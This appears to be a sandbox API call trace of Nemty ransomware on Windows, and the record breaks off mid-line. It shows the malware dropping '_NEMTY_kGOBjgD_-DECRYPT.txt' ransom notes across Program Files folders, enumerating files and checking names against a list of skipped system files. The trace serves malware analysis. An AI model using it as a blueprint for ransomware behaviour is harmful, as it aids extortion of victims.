0x634ad48 [0169.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0169.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.850] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x76) returned 0x634fc60 [0169.850] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0169.850] CreateFileW (lpFileName="C:\\Program Files (x86)\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0169.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634fc60 | out: hHeap=0x4f90000) returned 1 [0169.851] SetFilePointer (in: hFile=0x3bc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.851] WriteFile (in: hFile=0x3bc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0169.852] CloseHandle (hObject=0x3bc) returned 1 [0169.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0169.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.852] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*.*", lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18e05e50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x18e05e50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34239b0 [0169.852] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0169.852] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x18e05e50, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x18e05e50, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.852] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0169.852] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0169.852] FindNextFileW (in: hFindFile=0x34239b0, lpFindFileData=0x653f9c8 | out: lpFindFileData=0x653f9c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xbda77690, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xbda77690, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0169.852] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1 [0169.852] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1 [0169.852] lstrcmpiW (lpString1="Adobe", lpString2="...") returned 1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="$RECYCLE.BIN") returned 1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="rsa") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="NTDETECT.COM") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="ntldr") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="MSDOS.SYS") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="IO.SYS") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="boot.ini") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="boot.ini") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="AUTOEXEC.BAT") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="desktop.ini") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="CONFIG.SYS") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="RECYCLER") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="BOOTSECT.BAK") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="programdata") returned -1 [0169.853] lstrcmpiW (lpString1="Adobe", lpString2="appdata") returned -1 [0169.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0169.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe", lpUsedDefaultChar=0x0) returned 5 [0169.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0169.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Adobe", cchWideChar=5, lpMultiByteStr=0x653f8d0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Adobe", lpUsedDefaultChar=0x0) returned 5 [0169.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0169.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0169.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.853] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0169.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x6346df8 [0169.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0169.853] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0169.856] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0169.856] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.856] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f880, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f880*=0xef8, lpOverlapped=0x0) returned 1 [0169.857] CloseHandle (hObject=0x3c0) returned 1 [0169.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0169.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345df0 [0169.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0169.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0169.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.857] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0169.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.857] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x8e) returned 0x6346df8 [0169.857] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0169.857] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c0 [0169.858] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0169.858] SetFilePointer (in: hFile=0x3c0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0169.858] WriteFile (in: hFile=0x3c0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0169.859] CloseHandle (hObject=0x3c0) returned 1 [0169.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0169.859] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0169.859] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f916e8 [0169.859] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*.*", lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x18e2bfb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x18e2bfb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423970 [0169.859] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0169.859] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x18e2bfb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x18e2bfb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.859] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0169.859] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0169.859] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b9d0910, ftCreationTime.dwHighDateTime=0x1d547d0, ftLastAccessTime.dwLowDateTime=0xe2946ac0, ftLastAccessTime.dwHighDateTime=0x1d505b3, ftLastWriteTime.dwLowDateTime=0xe2946ac0, ftLastWriteTime.dwHighDateTime=0x1d505b3, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="conferencingcoordinatorvault.exe", cAlternateFileName="CONFER~1.EXE")) returned 1 [0169.859] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2=".") returned 1 [0169.859] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="..") returned 1 [0169.859] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="...") returned 1 [0169.859] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="windows") returned -1 [0169.859] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="$RECYCLE.BIN") returned 1 [0169.859] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="rsa") returned -1 [0169.859] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="NTDETECT.COM") returned -1 [0169.860] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="ntldr") returned -1 [0169.860] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="MSDOS.SYS") returned -1 [0169.860] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="IO.SYS") returned -1 [0169.860] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="boot.ini") returned 1 [0169.860] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="boot.ini") returned 1 [0169.860] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="AUTOEXEC.BAT") returned 1 [0169.860] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="ntuser.dat") returned -1 [0169.860] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="desktop.ini") returned -1 [0169.860] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="CONFIG.SYS") returned -1 [0169.860] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="RECYCLER") returned -1 [0169.860] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="BOOTSECT.BAK") returned 1 [0169.860] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="bootmgr") returned 1 [0169.860] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="programdata") returned -1 [0169.860] lstrcmpiW (lpString1="conferencingcoordinatorvault.exe", lpString2="appdata") returned 1 [0169.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0169.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="conferencingcoordinatorvault.exe", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0169.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="conferencingcoordinatorvault.exe", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="conferencingcoordinatorvault.exe", lpUsedDefaultChar=0x0) returned 32 [0169.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f915e8 [0169.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="conferencingcoordinatorvault.exe", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0169.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="conferencingcoordinatorvault.exe", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="conferencingcoordinatorvault.exe", lpUsedDefaultChar=0x0) returned 32 [0169.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915e8 | out: hHeap=0x4f90000) returned 1 [0169.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0169.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0169.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="conferencingcoordinatorvault.exe", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0169.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="conferencingcoordinatorvault.exe", cchWideChar=32, lpMultiByteStr=0x6345608, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="conferencingcoordinatorvault.exe", lpUsedDefaultChar=0x0) returned 32 [0169.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0169.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91590 [0169.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="conferencingcoordinatorvault.exe", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0169.860] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0169.860] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="conferencingcoordinatorvault.exe", cchWideChar=32, lpMultiByteStr=0x6345640, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="conferencingcoordinatorvault.exe", lpUsedDefaultChar=0x0) returned 32 [0169.860] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0169.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0169.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0169.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0169.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.861] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ed8ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ed8ae0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344e640, dwReserved1=0x0, cFileName="Reader 10.0", cAlternateFileName="READER~1.0")) returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2=".") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="..") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="...") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="windows") returned -1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="$RECYCLE.BIN") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="rsa") returned -1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="NTDETECT.COM") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="ntldr") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="MSDOS.SYS") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="IO.SYS") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="boot.ini") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="boot.ini") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="AUTOEXEC.BAT") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="ntuser.dat") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="desktop.ini") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="CONFIG.SYS") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="RECYCLER") returned -1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="BOOTSECT.BAK") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="bootmgr") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="programdata") returned 1 [0169.861] lstrcmpiW (lpString1="Reader 10.0", lpString2="appdata") returned 1 [0169.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reader 10.0", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reader 10.0", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reader 10.0", lpUsedDefaultChar=0x0) returned 11 [0169.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reader 10.0", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0169.861] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Reader 10.0", cchWideChar=11, lpMultiByteStr=0x653f590, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Reader 10.0", lpUsedDefaultChar=0x0) returned 11 [0169.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0169.861] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0169.861] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0169.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0169.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.862] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f915f8 [0169.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.862] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f94088 [0169.862] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f915f8 | out: hHeap=0x4f90000) returned 1 [0169.862] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 